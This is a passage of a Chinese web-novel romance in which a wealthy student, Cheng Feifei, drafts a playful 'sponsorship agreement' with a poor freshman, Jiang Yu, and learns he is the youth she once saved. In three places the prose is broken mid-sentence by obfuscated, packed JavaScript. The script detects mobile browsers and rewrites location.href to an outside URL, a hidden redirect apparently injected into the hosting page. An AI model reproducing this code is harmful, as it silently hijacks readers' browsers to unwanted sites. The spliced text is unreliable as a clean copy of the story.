显然,对江羽满意的不止她一个。就她坐了这么一会儿,旁边那桌的两个女孩子就一直在窃窃私语,互相撺掇着对方上去要电话。 最后,两个人谁都没有鼓起勇气去搭讪,只是在临走的时候,在餐盘里留下写了电话号码的餐巾纸。 程霏霏余光瞥见两个人走远,嘟了嘟嘴。 她探过身,悄声捏起那张纸巾,若无其事地揣进了自己的衣兜。 哼,帅哥这种稀缺资源,谁也别想跟她抢! 直到瑰丽的晚霞染红了天边,奶茶店的客流才渐渐稀疏下来。程霏霏已经窝在座位上打了好久的小游戏,充电宝都用空了一个,江羽才换回自己的衣服,来到她面前,蹲下身。 “是不是等得很无聊?”江羽仰头看她,目光温软。 程霏霏手机一揣,露出一个容光焕发的笑:“是有点无聊,不过,一看到你,就有精神了呀!” 江羽一愣,脸上泛起一股十分含蓄的喜悦。深邃的眼睛里仿佛有一团光芒悄然升起,虽不明显,却无法忽视。 程霏霏觉得有趣,有人竟然会因为她的一句话,就展露出幸福的表情。 她的目光在江羽身上扫了扫。 相比奶茶店软萌的制服,江羽自己的衣服实在逊色得堪称拉胯。尤其把帽兜一戴,那出挑的容貌被遮得一丝不剩,让他看起来毫不起眼,成功泯然在灰蒙蒙的人堆里。 程霏霏有点想笑,很是嫌弃地扯了扯他身上这件又薄又丑的外套:“你不冷吗?” 江羽低头看了眼自己,恍然一笑:“今天着急出门,随手抓了一件,现在的确有点冷。” 程霏霏想,他就穿着这件薄薄的帽衫,一大早等在楼下,给她送早饭? 小朋友真是不太会照顾自己啊。 于是提议道:“这么冷的天,我们去吃点暖和的吧?” * 半小时后,两人坐在小吃街一家火锅店里,对着咕嘟咕嘟冒泡的涮羊肉大快朵颐。 高高的铜锅冒着袅袅蒸气,细嫩的羊肉片薄如蝉翼,在鲜汤里浮沉几下,便换了熟色,入口即化。 程霏霏蘸着辣椒小料,吃得满头满脸的热汗。拿起手边的纸巾匆匆一擦,揩下一层薄薄的粉底。 心里想着,坏了,怎么和小帅哥的第一顿饭就来吃火锅? 火锅这东西,味道虽好,吃相却很难美观。不轮男女,都会被蒸得面红耳赤,形象尽失。所以,只适合在关系稳定之后再涉足,刚认识的时候,吃吃优雅的西餐才是正解。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043496|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她悄悄抬头,看向对面的人。 热气蒸腾之下,江羽的脸色也跟着红润起来。 他正忙着在铜锅里涮肉,然后不停地把涮好的肉夹进程霏霏的盘子。 江羽涮肉很有技巧,火候和时间掌握精准,肉质不老不柴,口感堪称完美。 程霏霏忍不住夸赞:“你这手艺可真行,经常吃吗?” “嗯。”隔着薄薄的白雾,江羽点了点头,眼睛里浮现出几分怀念的笑意,“我家那边的涮羊肉很出名,我爸尤其爱吃,经常拉着我下馆子。” 程霏霏想,涮羊肉出名,难不成是帝都? 便也跟着问了出来:“你是哪里人?” 江羽涮肉的动作微滞,眸光闪了闪:“江城人。” “瞎说,我才不信。”程霏霏埋首,吃得头也不抬,“你讲话字正腔圆的,一听就是北方人,哪里有半点江城人的塑料普通话?” 江羽笑了:“你也很字正腔圆,一点都不塑料。” “那当然。”程霏霏傲娇地昂起头,“我可是专业的!” “我的的确确出生在江城。”江羽抬眼,目光穿过层层热气透过来,带着些许小心的试探,“江城,杜溪县。” 程霏霏一愣,随即笑道:“巧了,那地方我熟啊,水多鱼多。出生在杜溪的话,你一定很爱吃鱼吧?” 江羽失笑,轻轻摇了摇头:“我其实……对鱼过敏。” “瞧,你果然不是江城人!”仿佛抓到了什么把柄,程霏霏挥舞着筷子,嬉笑着道:“江城人哪有不吃鱼的呀!” * 酒足饭饱,两个人从小饭馆里出来,浑身都裹上了一层浓稠的羊膻味。 月亮很美,程霏霏对着夜空伸了个大大的懒腰,感觉好久没有吃过这么舒心的一顿饭了。 她想起了什么,转头对江羽说:“差点忘了,谢谢你今天给我送的早饭。” 江羽失笑:“难道没凉透?” “凉透了,不过我有神器,让它恢复了美味!”程霏霏得意地挑起眉,仰着脸瞧他。 此刻,他们的距离很近,程霏霏甚至可以看得清江羽脖子上淡青色的血管。 她在夜风里吸了吸鼻子,莫名觉得,竟然穿透羊肉火锅的膻熏味,闻到了江羽身上一丝清淡的柑橘香。 自己大概是魔怔了。 月色下,江羽的睫毛如鸦羽般覆下来,一双眸子亮得不像话,如同泛着粼粼波光的湖水——他似乎心情很不错。 两人目光安静地相汇。 程霏霏怔怔地想,天上的月亮是不是掉下来了,正正巧落在自己的心坎上,带着舒适的温凉,激得她滚烫的心田一片酥麻,像过了电一般。 仿佛被某种神秘的力量蛊惑了,程霏霏抬起一只手,慢动作般逐帧上移,轻轻抚上了江羽的脸。 江羽的眼睫微微一动。 他没有躲。 程霏霏品味着指尖的触感,唇角轻扬,从嗓子眼里发出一声黏糊的感叹,像个借醉揩油的女流氓。 “小朋友,你可真好看。” 24. 24 “小朋友?” 江羽难以置信地眨了眨眼,似乎对这个称呼颇不赞同。 “对啊。”程霏霏依旧沉浸在指尖的触感中,理所当然地说:“你就是大一的小朋友嘛。” 江羽头一歪,不动声色地脱离程霏霏的触碰,隐有些不服气:“我只比你小一岁。” “小一岁,也是小。”程霏霏眯了眯眼睛,一把扯住他兜帽的抽绳,防止他再躲。 抽绳的质量不是很好,尾端缀着一枚质感粗糙的塑料卡扣,被程霏霏攥在掌心,轻轻摩挲。 她亮着一双水瞳:“来,叫声姐姐听听?” 江羽迎着这娇俏的目光,没有动。 程霏霏见他不乐意,佯装生气道:“怎么,不听话啊?看来,还是要拟一份正经的协议,教你听话才行。” 江羽愣住了:“什么协议?” 程霏霏神秘兮兮地一笑,闪身回了饭店,在前台上顺了一张菜单出来。 小店的菜单质感粗糙,只有一面印了字。程霏霏将菜单翻过来,贴在江羽胸前,从随身的包包里摸出一支眉笔,嘴巴咬下笔帽儿,开始在空白的那面上写写画画。 【一,随叫随到,不许迟到。括弧——上课和打工时间除外。】 江羽盯着她投入的样子,想起那张遍寻不得的、粘着口红印的通知书碎片。 【二,听姐姐的话,姐姐指东,绝不能往西。】 程霏霏得意洋洋地晃着脑袋,边写边念了出来。 想起白天和李泽昱的对话,她心中一紧,抬起头问:“我确认一下……你没有女朋友的吧?” 江羽安静地摇了摇头。 “唔,那有喜欢的人吗?” 男孩子的目光一顿,长长的睫毛在眼底投下暗影,遮住了深邃处涌起的波光。他不答反问:“你呢,你有喜欢的人吗?” “当然有啊。”程霏霏承认得干脆,没有丝毫遮掩的意思,只是语气听上去有点苦涩,“永远得不到的人罢了。” ——毕竟,就是一个自己臆想出来的梦中人而已,哪有什么得到得不到的。 可这句话似乎验证了江羽心中的某个猜测。 他眼中欣然的光彩缓缓褪去,只余平静的低落,再开口时,喉咙里的一丝轻颤暴露了心底卑微的忐忑:“你打算……等他回来吗?” “等谁?” 程霏霏正在埋头写字,顾不上多想。 不一会儿,纸面上又多了一条:【三,关系存续期间,严禁谈恋爱。】 江羽盯着最后这行字,冷不丁问:“这一条对你,也作数吗?” 程霏霏一愣——她可是金主姐姐,花钱图的就是一个爽,岂能受外物束缚?协议这种东西,只会影响她左拥右抱的速度! 不过,看在小帅哥一脸真诚的份上,公平起见,她的吃相也不能太难看。 程霏霏半妥协、半安慰地说:“那这样好了,我要是谈恋爱的话,就和你终止关系,可以吗?不会让你吃亏的。” 这个回答并没有令江羽开心几分,他的目光依旧沉甸甸的,薄唇紧抿成一条线,好像压下了满腹话语,欲言无声。 程霏霏重新审阅了一遍自己拟下的协议,还想再加一条,正要动笔,江羽却忽然说:“无论你做什么选择,我都不会觉得吃亏。” 程霏霏惊讶地抬起眼,忽然就忘记了要添加什么条款。 江羽的视线专注而郑重,盯得她莫名脸烫。程霏霏握紧了笔杆,心中一阵轻飘飘的,竟有些神思不属。 她晃了晃神,赶紧将脑子拉回来,装模作样地清了下嗓子。 “瞧我这金主,当得好不称职,还没跟你聊价格呢!你稍等,这部分我也写上去。” 她低头,正要下笔,江羽却突然后退一步。 程霏霏的眉笔“唰”地划过纸面,留下一串浅灰色的擦痕。 她不满地蹙眉,睨了他一眼:“有什么要求你尽管提,干吗躲呀?” 江羽却径直抬起手,握住了她的手腕。 程霏霏的呼吸蓦地暂停,心中无来由的,忽然一阵狂跳。 脸颊有点热,火锅带来的汗意似乎又重新冒出头。程霏霏张了张嘴,那些挂在嘴边的挑逗之词忽然都堵在了嗓子眼,半个字也吐不出来。 下一秒,她的手心里被塞进了一个冰冰凉的物什。 是几个月前被人抢走的那枚钻石耳坠。 “这东西……” 一瞬间,某些早已被遗忘的场景重新钻入她的脑海。程霏霏想起杜溪的暗巷,想起那个倒在血泊中的少年,还有自己最后离开医院时,对方眼含期待的目光,粘稠而热切,像蕴着小气泡的蜂蜜,好似能裹住人离去的脚步。 她不可置信地问:“那个人,是你?” 江羽点了点头,眼睛藏着笑意:“一直没来得及感谢你……” 没等他说完,程霏霏忽地尖叫一声,双手捧住他的脑袋,对着他的脸颊一通揉捏、左右察看。 “你的伤怎么样了?全好了吗?” 她抬起江羽的两臂,上下挥动了几下,又绕到他的身后,反复确认道:“伤得那么重,真的全好了?百分百痊愈了?没留下什么后遗症吧?” 江羽发自内心地笑出了声,将她拉回到身前。 “已经康复了,医生说,一切正常。” 程霏霏这才松了一口气,仔细瞧着他的脸,目光里蕴满了真诚的惊喜:“难怪我觉得你眼熟,原来咱们真的见过!话说,那几个人为什么打你啊?” 她直勾勾地盯着江羽的眼睛,生怕错过他一丝一毫的情绪。江羽想不起来,有多久没有被人这样恳切地注视过了。 此处寒风萧瑟,他却觉得浑身上下都暖融融的。 “我有一个生父,名叫解成坤。你或许在本地新闻上见过这个名字,他诈骗了杜溪很多村民的拆迁款,半年前,被警方逮捕。” 生父。 程霏霏心情复杂地想,有谁会这样称呼自己的爸爸? “可惜,钱早就被他挥霍一空了。愤怒的受害人拿不到钱,只能来找我。”江羽垂着头,发丝盖住他的眼睫,也藏起了一切复杂的情绪,“那个带头的胖子叫王鹏,是我年幼时的朋友。” “朋友?那他也下得去手?” 江羽凉凉一笑:“在钱面前,没什么情感能作数。” 程霏霏轻蹙着眉:“你后来报警了吗?那个王鹏抓到没有?没抓到你告诉我,我让我哥帮忙找。只要在这江城地界,就没有他找不到的人。” 江羽点点头:“我知道他在哪儿。” “也对。”程霏霏把玩着手心里的钻石,若有所思地说:“你都能把这东西要回来,肯定是已经找到人了。” “我很小的时候,在福利院生活过几年。因为说话比较晚,一直被周围的小孩欺负。那时候,王鹏的爷爷负责值夜班,他很凶,院里的小孩都怕他。老头子骂一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056659|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句,我就能安稳地待上十天半月。” 聊起这些的时候,江羽的眼睛里竟然含着一缕逗趣的笑意,仿佛在讲别人的故事。 程霏霏听得很认真、也很惊讶:“你不是有父亲吗?怎么会在福利院长大?” “我是两年前,才得知自己还有个生父。” 程霏霏心中一酸,小声问:“那你生父,对你好吗?” 江羽一愣,还是第一次有人问他这个问题。 自从跟着解成坤回到杜溪,周围的人要么感慨他命好,竟然找到了亲生父亲,得以认祖归宗;要么感慨他命差,亲爹不仅是个穷鬼,还是个诈骗犯。 从来没有人问一句,他和这个素昧平生的血亲,到底相处得怎么样。 “畜生!混账玩意儿!狼心狗肺的东西!我真是后悔,当初没在襁褓里把你掐死!你活该被人扔,活该没人养!你等着,老子不会放过你的,早晚出来料理了你——” 解成坤被带上警车的一路都在高声叫骂,内容粗俗至极,围观的村民都忍不住连连摇头。 这是江羽对那个男人最后的记忆。 “凑合吧。”江羽放空目光,简明扼要地答。 下一秒,一只手轻轻地抚上了他的头。 程霏霏踮着脚尖,像摸小动物那样,温柔地摸了摸他软乎乎的头发。 “小朋友,生活得好不容易啊。” 江羽怔怔地望着她,几乎忘记了呼吸。 身体一部分无法动弹,他能感觉到她细软的手指穿过发丝,仿佛一下下拂过他的心。 他急忙转开视线,掩饰心头猛烈的悸动。甜蜜与慌乱交织着涌来,让他的脸颊不自觉染上绯红。 心中破天荒地想——小朋友就小朋友吧,他认了。 喉结无声滚了滚,江羽极力压制住内心的波澜,尽量平静地说:“我的意思是……感谢你对我施以援手,所以……无论你想让我做什么,都不需要付钱。” 程霏霏摸头的动作顿住:“那怎么行?一码归一码。” 她自诩是个公平公正的人,小帅哥跟了她,是凭美貌致富,不能白打这份工。 程霏霏懒得和他讨价还价,手直接伸进包里,翻找着银行卡。 江羽盯着她的动作,紧抿着唇,欲言又止。 他清凌凌地站在原地,眉宇间透出几分窘迫的失落。 程霏霏悄悄观察着他的反应。 莫名的,她想起了他们相遇的那个夜晚。 江羽被几个大汉打得趴在地上起不来,全程却没有求过一句饶。事情过后,也从未流露出哪怕一丝类似于委屈的情绪。 可是此刻,她竟然觉得江羽在委屈。 为什么?钱是多么好的东西,就这么不想要? 明明一副又穷又苦的样子,穿得破破烂烂,还有数不清的兼职……他的的确确是她认识的人里,最需要钱的一个。 可是,程霏霏怎么也无法忽视,那柔软的目光里,藏着的一点卑微的、执拗的自尊心。 程霏霏不理解,可她还是心软地略过银行卡,转而拿出了刚刚被完璧归赵的钻石耳坠。 “这个送给你。”她眨了眨眼,口气是玩笑般的轻松,“既然不要钱,就用这个抵了。你要是连这个也不收,我可就要生气了!” 说着,不容置疑地把东西塞进了江羽手中。 程霏霏仰起脸,笑容明快:“拿着这个耳坠,以后可就是我的人咯!” 25. 25 耳坠仿佛还带着程霏霏的体温。 江羽盯着自己的手心,有些发怔。 怕他拒绝,程霏霏再三强调:“别小看它,很值钱的,卖了能顶你四年学费!” “哦,差点忘了,你有奖学金,不用付学费……”程霏霏讪讪地吐了吐舌头。 她笑得有些调皮,将写好的“包养协议”举到江羽眼前:“快看看,有异议吗?” 江羽的目光平静而直接,好像穿透了纸面,落在程霏霏兴奋的眸子上。 程霏霏将那只眉笔塞进他手中,逼着他很正经地在这个看着就极不正经的“包养协议”上签了名,才心满意足地收进了自己的小挎包。 江羽瞧着她美滋滋的小动作,最终也没再继续推拒。 他抬起脸,看了眼天色:“时间不早了,我送你回去吧?” * 冬日的夜晚气温极低,大家都躲在寝室取暖,校园里看不到半个人影。 程霏霏走在前面,忽然回过头,看向缀在后方、不远不近的人:“你为什么一直走在我身后?” 江羽淡淡一笑——大概是习惯了吧。 他几步追上来,和她并排着往前走。 两人之间很安静,谁都没有讲话。 月华明亮,落在路面上,洒下一片银霜。夜风擦过头顶的树梢,发出枝叶摩擦的轻响。 程霏霏深深地呼吸了一口湿漉漉的空气。 空气里弥漫着夜晚的寒凉,此刻却又缭绕着一种难以言喻的温馨感。她觉得,和江羽认识的时间虽然很短,可是不知为何,跟他在一起的时候,会莫名觉得安心。 程霏霏仰起脸,冲着天空愉快地感叹:“今晚的月色可真美啊!” 江羽一怔,飞速地看了她一眼。 少女的发丝在夜风里轻荡着,唇角带着鲜活的笑意,还透着一丝撒娇的俏皮。她昂着脖子,对着碧空里的圆月发出单纯的、毫无言外之意的赞美。 江羽惊讶之余,忍不住弯了弯唇角。 她真的,非常率真可爱。 程霏霏忽然说:“从这条岔路过去,就是音乐学院。前阵子,我每天都会去音乐楼的空教室练小提琴。” 江羽没有出声,他比谁都知道,她有多努力。 “从音乐学院回来,就是走的这条路。” 程霏霏甩了甩胳膊,若无其事地说:“我从小就不是什么好学生,总爱调皮捣蛋,成绩也不好。好在我家条件不错,所以我从没觉得,自己需要为什么事情格外努力。” 她顿了顿,语气带上了一丝沮丧:“后来好不容易有了,却发现很多事努力也没用。” 江羽澄澈的目光转过来,落在她发间俏皮的小辫子上。 “你努力的过程,很耀眼。” 程霏霏哼了一声:“你又没见过。” 大冷天的,她不想和小帅哥探讨什么努力不努力的,只想亲密贴贴。 “我那时候就想啊,这段路可太阴森了,要是每天都有人陪着我一起走,就好了。” 程霏霏意有所指地戳了戳自己放协议的小挎包,唇角扬起一抹勾人的笑:“要是,这个人还能牵着我的手取暖,就更好啦!” 这已经不是暗示,而是金主姐姐赤裸裸的明示了。 江羽的心跳顿时快如擂鼓。 犹豫的功夫,掌心就攥出了一层细密的汗。 他在口袋里轻轻蹭了蹭,才迟缓地伸出手,动作慢得仿佛在等着她反悔一般。 直到程霏霏不爽地嘟起了嘴。 江羽终于一把牵过她的手。 他穿得少,手心却很温热。手指修长,指尖还带着一层薄薄的茧。 指尖相触的那一刻,周遭连风都静止了,清晰有力的心跳声敲打着他的耳鼓。江羽只能看得见手里握着的一截柔软的细指,葱白一样。 下一秒,那只小手蛮横地钻进了他的掌心,与他十指相扣。 程霏霏露出一个得逞的笑。 真好,签了协议,人正经是她的了,以后,她想怎么贴,就能怎么贴! 程霏霏靠过去,仰起脸,近看他漂亮的下颌线,和自脖颈处蔓延开来、一路爬上耳尖的绯红。 心里想,她的小朋友简直太可爱了,这么不经调戏,牵个手而已,竟然还会害羞。 她美滋滋地迈开脚步,拉着江羽的手,一路走到女生宿舍的楼下。 “在这里等着我,不许走哦!”程霏霏松开他的手,像风中的蜻蜓一般飞掠出去,小跑着上了楼。 她急急地推开寝室门,蹚进一堆还没来得及拆封的商场包装袋里,躬身翻找。 这些都是她上次逛街的战利品,给全家人买的行头还没有送出去,都怪那个拖延症晚期的程皓南,迟迟不来学校找她取。 既然如此,程皓南,你礼物没了! 片刻后,她拎着一只黑色的购物袋,兴冲冲地奔下楼。 小朋友果然很听话,安静地站在门口的银杏树下等她。 远远看去,他就像一株抽条的柳杉,英俊又笔挺,只是面容有些沉肃,不知道在想什么。白玉般的半边脸颊迎着昏黄的灯光,像抛了柔光的釉。 原本还低垂的眉眼,在看到她的瞬间,略去了一切清冷,迅速熠熠生辉起来。 程霏霏好似也被这灼然的目光感染到,舌尖都萃着甜。 她放慢脚步,好整以暇地走过去,将袋子一把塞进江羽怀里。 不给他任何拒绝的机会,程霏霏转身就跑。 江羽怔了片刻,打开手中的包装袋,里面是一件黑色羽绒服。 羽绒服轩软蓬松,做工精致,是适合年轻男生的款式。 “叮——” 手机里弹出新微信。 程霏霏:【衣服送给你,明天穿着来见我。】 程霏霏:【不许拒绝!时刻谨记协议的第二条!】 风越来越大,扫落漫天的银杏叶,萧萧如雨。江羽低头看着手机,露出一个略显清淡的笑。 他抱着纸袋,在楼下站了好一会儿,影子投在地上,被凛冽的劲风吹得直打晃。 直到窗户里的灯光彻底熄灭,江羽才将单薄的兜帽拉起,身影消失在料峭的寒夜中。 * “吱嘎——” 江羽推开小平房的门。 身后寒风呼啸,给本就凉飕飕的空间又添一层冷意。 窝里安然入梦的小黄 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羽绒服的款式新潮大方,细节考究,散发着干净的气息。本应挂在熏香的实木衣柜里,如今贴着这泛黄发霉的土墙,显得有些格格不入。 就和他的人一样。 这件衣服,应该不是买给他的。江羽忍不住揣测,或许是她想送给那个人的礼物吧…… 他掏出手机,点开校园论坛,重新看了一眼那张疯狂刷屏的照片—— 晴好的日光下,一男一女靠得极近,女孩抓着男生的手腕,眼神里满是不安和焦急。 江羽的拇指擦过手机屏幕,在她的脸上停驻片刻,唇边露出一个酸楚的笑容。 垂下脖子,整个人沮丧得透不过气来。 江羽在过往的人生中,极少羡慕什么人。 即便昔日的光鲜不再,即便流落到渔村,活得穷困落魄,除了囊中羞涩的艰难以外,他也没觉得有什么大不了。 起起落落,皆是人生。 可是此时此刻,江羽却觉得,自己好像被一张无形的囚网给兜住了。 那张网原本还隐隐地悬在头顶,没有什么特别的存在感。 可当他真的站在她面前,看着她鲜活的一颦一笑,甚至牵着她的手,走过那条尾随了她无数次的小路……那张网便兜头罩了下来,牢牢地束缚住他的感官,令他恍如梦寐的同时,也心如芒刺。 江羽从口袋里拿出那枚钻石耳坠,放在眼前。 钻石光彩夺目,就像程霏霏的人一样,美得那么张扬肆意,爱得十分能屈能伸。 对程小姐而言,喜欢的人短暂地离开了,便光明正大地给自己找个消遣。快意人生,哪里来的“等人”之说? 而他江羽,就是这个趁虚而入的乐子本人。 江羽叹了口气,向后仰去,颓然倒在老旧的床垫上。 ——承认吧,你既不甘心,又充满了嫉妒。 头顶是泛着霉圈的天花板。 江羽盯着那圈霉斑,看着看着,竟然不自觉地轻轻一哂—— 他家徒四壁,一无所有,能被喜欢的女孩子选中,给他个身份,偶尔陪在身边,已经是超乎想象的幸运了。 他又凭什么要求更多。 26. 26 一夜无梦。 第二天清早,江羽穿着崭新的羽绒服去学校上课。 项凡眼尖地注意到了好哥们这身不俗的行头,下课铃一响,立刻扑上来扒开江羽的衣领:“呦,哪来的牌子货!” “起开。”江羽一边记着课堂笔记,眼也不抬地挥起胳膊,将项凡怼远。 “兄弟,你可终于舍得给自己整件厚实的穿了!” 项凡将手揣在袖子里,忍不住抱怨:“最近真是冷得离谱!眼看期末了,有空调的自习室还个个爆满,咱们大学牲真是好命苦。” 裴一舟坐在旁边,眼神在江羽的脸上顿了顿,又心虚地飘远,欲言又止。 项凡瞅见了,稀罕道:“你这一脸便秘的表情是怎么回事?” 裴一舟皱着眉,好像怀揣着了不得的心事,一番话在肚子里滚了又滚,才犹豫着开口:“江羽,这两天,我听到一些关于你的传言……” 项凡:“传言?啥传言?” 江羽也停下手中的笔,看了过来。 裴一舟觉得尴尬,不知道如何开口:“就是,他们说,说你被播音系的程学姐给……给……” “——江羽!” 三人齐齐回头,只见程霏霏正站在阶梯教室的门口,兴奋地挥着手。 她穿着一身奶油白的法式半身裙,羊绒大衣的袖口缀着大团毛绒,妆容鲜嫩得如同一朵盛放的芙蓉。 刚刚下课,灰扑扑的人群持续不断地往外涌。程霏霏被夹在其间,被灰黑色的背景衬得更加像个霞光如玉的小仙女。 “……包养了。”裴一舟咽了口唾沫,和项凡已经双双看呆了。 没想到,程学姐脱离了粉色头发和中二烟熏妆以后,竟然是这般清丽脱俗! 他立刻朝江羽看去——如果传言是真的,你小子还挺有点福气在身上。 江羽惊喜地站起身,将没写完的东西随手一扔,率先跑去了门口。 “你怎么来了?” “来蹲你下课啊!” 程霏霏挑着眉梢看他,视线往下,看到他果然听话地穿上了新衣服,心里很满意。 她左右张望道:“知道你们拓知的学业紧,我就主动来找你咯。啧,不愧是学霸班,连教室都比别的地方更有学术味!” “什么学术味,是男生太多,少了你们女孩子的香味!”项凡忽然从江羽身后探出个脑袋,对着程霏霏小幅招手,“嗨,美女你好,我是江羽的朋友,项凡。” 程霏霏笑着打了个招呼。 “程学姐好。”裴一舟紧随其后,“不知道你对我有没有印象,我是……” “我知道你。”程霏霏友好地冲他眨了眨眼,“附中的吧?我亲学弟,以前经常当学生代表发言来着。” 裴一舟不好意思地笑笑,腼腆地摸了摸后脑勺。 “你每次发言都出了名的长,一开口就停不下来。有一次害得你们届一个学生尿了裤子,这事全校都知道!” “……” 项凡捧腹大笑,引来周围学生好奇的眼神,越来越多的人顺势往程霏霏身上打量。 江羽侧过身,隔开那些目光,在袖子里悄悄拉了拉程霏霏的指尖:“饿了吗?带你去吃饭?” 二十分钟后,一行四人坐在喧闹的食堂里共进午餐。 至于为什么是四个人,实在是项凡十分自来熟,亲自引着程霏霏围着教学楼游览了一圈,再把自己压箱底的食堂红榜菜单一一分享了个遍。 理科楼一年也来不了一位艺术生,程霏霏“远来是客”,被安排着在座位上悠然等食,三个男生在窗口排队打饭。 项凡抱着胳膊,兴奋地挤兑江羽:“兄弟,速度够快的啊!得,本来应该宰你一顿大的,但是年底了,谁家也没余粮了,就勉强食堂凑合了吧!” 江羽眨眨眼:“为什么要宰我一顿大的?” “男生宿舍传统呗,交了女朋友,当然要请客!” 裴一舟一把抻住项凡的脖子,捂着他的嘴防止他继续乱说话。 “那个,江羽你别听他胡说,这顿不用你请,我们自己掏钱。” 项凡被捂得嗷嗷直叫,拼命捶打着裴一舟的手臂反抗。 江羽垂着目光,也没解释什么,拿出自己的学生卡,“嘀”一声在收费机器上刷掉四个人的饭钱。 然后从食堂阿姨手里接过菜,端着餐盘往座位走去。 项凡这才挣脱出来,冲裴一舟吼:“你捂我嘴干吗!” 裴一舟眼镜都气歪了:“江羽和程学姐的关系不是你想的那样!” “男女之间的关系,还能是哪样!” 裴一舟一把拽过他的衣领,在耳边小声嘀咕了几句。项凡露出一个匪夷所思的表情,目光复杂地瞟向远处的餐桌。 只见江羽把餐盘里的东西一一端出来,筷子擦干净,递到程霏霏手中。又不知道在哪个窗口买了一杯热乎乎的玉米汁,插好吸管,推到程霏霏面前。 一切是那么自然而然。而程霏霏只顾开心地说着话,并没有觉察到江羽的动作。 项凡一把甩开裴一舟的钳制,指着他的鼻子道:“你等下可别乱说话!” 裴一舟:“……” 几个男生各怀心事,一顿饭吃得莫名安静。 程霏霏觉得奇怪,这个叫项凡的前一秒还像个活泼的猴儿,后一秒居然沉默了起来。到最后,饭桌上只剩她和江羽在聊天,旁边两个男生看上去又颓又丧,饭也没多吃几口。 她小声问江羽:“他们两个怎么了?” 江羽一本正经地胡说八道:“考试给愁的。” 程霏霏问:“等下你要做什么?” “我没有安排,可以陪你。” “真的假的?”程霏霏觉得很稀罕,大忙人竟然会有空。 她再三确认道:“那如果,今天我没来找你的话,你打算做什么?” 江羽想了想:“可能会去上自习?” 程霏霏立刻决定:“那我们就一起去上自习。” “好。”江羽笑着点头。 项凡撑着脑袋,围观这一幕,觉得很不可思议——这怎么看,怎么像小情侣在说悄悄话,没有一丁点女金主对待贫苦男大的阶级感啊! 下一秒,被裴一舟掰着脑袋转过来:“非礼勿视!” 项凡顺势捞过他的手,低声道:“你认识江羽以来,几时见他这么笑过?” 裴一舟转头看去。 江羽正安静地听程霏霏说话,偶尔扬起唇角,粲然而笑。茶色的水眸里洋溢着脉脉清辉,爱意似发着光一般,根本无从掩饰。 裴一舟看呆了,都忘记甩开项凡紧握的手。 乖乖,这要是生意,那也是放在心尖上的买卖啊! * 吃完饭,江羽真的带程霏霏上自习去了。 程霏霏也没想到,和小帅哥签完协议的第一次约会活动,竟然是自习。 只不过,时值期末,江大的自习室一位难求,整栋教学楼都被奋发图强的学子们挤得满满当当。不一大早来占座,是拿不到好位置的。 程霏霏就罢了,连江羽似乎也对这种紧俏的生态颇为陌生。 “你怎么这么惊讶?”程霏霏笑着睨他,“你们好学生平时不上自习的吗?” 江羽笑叹道:“我白天很少有时间,学习要么在换班的间隙,要么晚上找地方通宵。还不知道,原来白天的自习室这么紧俏。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14080964|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他对程霏霏说:“不如,我们去校外吧?” 程霏霏好整以暇地点点头,心里有点美。 去校外约会,简直不要太爽!毕竟,她也不是真心想上什么自习的。 就在她猜测江羽会陪她逛街还是去看电影的时候,江羽竟然带着她来到了鹿客。 程霏霏:“……” 不是饭点,餐厅里的人不多。江羽把程霏霏安顿在她惯常喜欢的靠窗位置,自己也一同坐了下来。 “最近客流少,环境很安静,适合学习。” 程霏霏看着他把书包里的东西一样样拿出来,身体靠了过去,伏在他耳边低语:“你今天不打工啊?” 随着她的靠近,一缕若有似无的馨香缭绕而来,勾缠在两人之间。 “我上晚班。”江羽侧过脸,澄净的目光落在近在咫尺的樱唇上。 明明什么都没做,程霏霏却忽觉面颊一热,抿着唇,退开了些许。 江羽清咳一声,眼神转向一旁:“要不要喝东西?” 几分钟后,程霏霏斜靠在餐厅的吧台上,捧着小脸,看着江羽洗了手,在吧台后面熟练地操作着咖啡机。 咖啡豆泛着饱满的色泽,在机器的打磨下散发出飘逸的醇香,萦绕在她的鼻端。 江羽托着白瓷的矮杯,左右手细致地融合着奶泡,手腕轻悬,在咖啡的表面拉出一朵栩栩如生的玫瑰花。 “哇——” 程霏霏惊叹着,接过来细细端详。 她轻抿了一小口,幸福地眯了眯眼——她家小朋友的作品,真是既好看、又好喝! 程霏霏捧着咖啡,满意地回到位子上,煞有介事地翻开了专业课的书。 看了没一会儿,思绪就如见了春的冰凌,越来越难以支楞。程霏霏托着下颌,意兴阑珊地瞄向窗外。 午后柔和的光线穿过玻璃,倾洒在木质温润的桌角。 桌上摆着一只束口花瓶,茸感十足的绿石竹簇拥着大朵白色的蝴蝶兰,一番闲情雅调拿捏得刚好。 她拿出手机,借着旖旎的窗景,来了几张姿态闲适的自拍。当然,还不忘把那杯喝了一半的咖啡收进取景框。 